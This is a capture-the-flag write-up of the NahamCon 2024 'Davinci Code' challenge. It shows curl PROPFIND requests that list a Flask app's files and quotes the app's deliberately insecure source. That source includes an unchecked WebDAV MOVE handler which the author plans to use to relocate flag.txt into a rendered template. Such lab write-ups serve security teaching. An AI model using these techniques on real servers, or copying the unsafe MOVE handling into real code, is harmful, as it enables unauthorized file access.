The Davinci Code Writeup
Nahamcon 2024
Solved by : thewhiteh4t
- In this challenge the application is a simple flask website with two public endpoints
/code
and/static/<filename>
/code
is supposed to rendercode.html
but it looks like that file is not present so we are presented with werkzeug debug page- After some basic recon of the application we can see that an interesting HTTP method is available :
- PROPFIND — used to retrieve properties, stored as XML, from a web resource. It is also overloaded to allow one to retrieve the collection structure (a.k.a. directory hierarchy) of a remote system.
- https://learn.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2003/aa142960(v=exchg.65)
- So using PROPFIND with curl we can actually get the file listing on the server!
<D:multistatus
xmlns:D="DAV:">
<D:response>
<D:href>/</D:href>
<D:propstat>
<D:prop>
<D:message>WebDAVinci Code</D:message>
<D:directory>True</D:directory>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/__pycache__</D:href>
<D:propstat>
<D:prop>
<D:displayname>__pycache__</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/templates</D:href>
<D:propstat>
<D:prop>
<D:displayname>templates</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/app.py</D:href>
<D:propstat>
<D:prop>
<D:displayname>app.py</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/static</D:href>
<D:propstat>
<D:prop>
<D:displayname>static</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/the_secret_dav_inci_code</D:href>
<D:propstat>
<D:prop>
<D:displayname>the_secret_dav_inci_code</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
- immediately we can see
/the_secret_dav_inci_code
, here is what happens if we request PROPFIND on this path :
> curl -X PROPFIND http://challenge.nahamcon.com:30365/the_secret_dav_inci_code
<D:multistatus xmlns:D="DAV:"><D:response><D:href>/the_secret_dav_inci_code</D:href><D:propstat><D:prop><D:message>WebDAVinci Code</D:message><D:directory>True</D:directory></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response><D:response><D:href>/the_secret_dav_inci_code/flag.txt</D:href><D:propstat><D:prop><D:displayname>flag.txt</D:displayname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>
<D:multistatus
xmlns:D="DAV:">
<D:response>
<D:href>/the_secret_dav_inci_code</D:href>
<D:propstat>
<D:prop>
<D:message>WebDAVinci Code</D:message>
<D:directory>True</D:directory>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/the_secret_dav_inci_code/flag.txt</D:href>
<D:propstat>
<D:prop>
<D:displayname>flag.txt</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
- so now we know where the flag is but PROPFIND does not let us read files so we need to enumerate more…
> curl -X PROPFIND http://challenge.nahamcon.com:30365/templates
<D:multistatus xmlns:D="DAV:"><D:response><D:href>/templates</D:href><D:propstat><D:prop><D:message>WebDAVinci Code</D:message><D:directory>True</D:directory></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response><D:response><D:href>/templates/index.html</D:href><D:propstat><D:prop><D:displayname>index.html</D:displayname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>
- so we can see that
code.html
is missing under templates directory
> curl -X PROPFIND http://challenge.nahamcon.com:30365/static
<D:multistatus xmlns:D="DAV:"><D:response><D:href>/static</D:href><D:propstat><D:prop><D:message>WebDAVinci Code</D:message><D:directory>True</D:directory></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response><D:response><D:href>/static/logo01.png</D:href><D:propstat><D:prop><D:displayname>logo01.png</D:displayname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response><D:response><D:href>/static/app.py.backup</D:href><D:propstat><D:prop><D:displayname>app.py.backup</D:displayname></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>
- juicy file spotted :
/static/app.py.backup
!!
from flask import Flask, request, Response, render_template, abort, send_from_directory
import xml.etree.ElementTree as ET
import os
import shutil
app = Flask(__name__)
os.makedirs('static', exist_ok=True)
@app.route('/static/<path:filename>')
def static_files(filename):
return send_from_directory('static', filename)
def create_webdav_response(endpoint, properties, children=None):
root = ET.Element('D:multistatus', {'xmlns:D': 'DAV:'})
response = ET.SubElement(root, 'D:response')
href = ET.SubElement(response, 'D:href')
href.text = endpoint
propstat = ET.SubElement(response, 'D:propstat')
prop = ET.SubElement(propstat, 'D:prop')
for key, value in properties.items():
element = ET.SubElement(prop, f'D:{key}')
element.text = value
status = ET.SubElement(propstat, 'D:status')
status.text = 'HTTP/1.1 200 OK'
if children:
for child in children:
child_response = ET.SubElement(root, 'D:response')
child_href = ET.SubElement(child_response, 'D:href')
child_href.text = os.path.join(endpoint, child)
child_propstat = ET.SubElement(child_response, 'D:propstat')
child_prop = ET.SubElement(child_propstat, 'D:prop')
child_name = ET.SubElement(child_prop, 'D:displayname')
child_name.text = child
child_status = ET.SubElement(child_propstat, 'D:status')
child_status.text = 'HTTP/1.1 200 OK'
return ET.tostring(root, encoding='utf-8', method='xml')
@app.route('/<path:path>', methods=['GET', 'PROPFIND', 'MOVE'])
def handle_webdav(path):
full_path = os.path.join(os.getcwd(), path)
if request.method == 'PROPFIND':
if os.path.exists(full_path):
properties = {'message': 'WebDAVinci Code'}
children = None
if os.path.isdir(full_path):
properties['directory'] = 'True'
children = os.listdir(full_path)
else:
properties['file'] = 'True'
xml_response = create_webdav_response('/' + path, properties, children)
return Response(xml_response, mimetype='application/xml')
abort(404)
elif request.method == 'MOVE':
destination = request.headers.get('Destination')
if destination:
destination_path = os.path.join(os.getcwd(), destination.strip('/'))
os.makedirs(os.path.dirname(destination_path), exist_ok=True)
shutil.move(full_path, destination_path)
return Response(status=204)
abort(405)
abort(404)
@app.route('/code')
def code():
return render_template("code.html")
@app.route('/', methods=['GET', 'PROPFIND'])
def index():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'PROPFIND':
properties = {'message': 'WebDAVinci Code'}
children = None
properties['directory'] = 'True'
children = os.listdir(os.getcwd())
xml_response = create_webdav_response('/', properties, children)
return Response(xml_response, mimetype='application/xml')
else:
abort(405)
if __name__ == '__main__':
app.run(debug=True, port=5000)
- and now we know all the routes and how the backend is handling inputs
- we can see another method
MOVE
elif request.method == 'MOVE':
destination = request.headers.get('Destination')
if destination:
destination_path = os.path.join(os.getcwd(), destination.strip('/'))
os.makedirs(os.path.dirname(destination_path), exist_ok=True)
shutil.move(full_path, destination_path)
return Response(status=204)
- we can add
Destination
header in our curl request and it looks like we can move files around using this method - now if we recall
code.html
is missing, so we can move/the_secret_dav_inci_code/flag.txt
totemplates/code.html
- since we already have a defined route
/code
which renderscode.html
we should be able to read flag.txt
- now lets look at
/code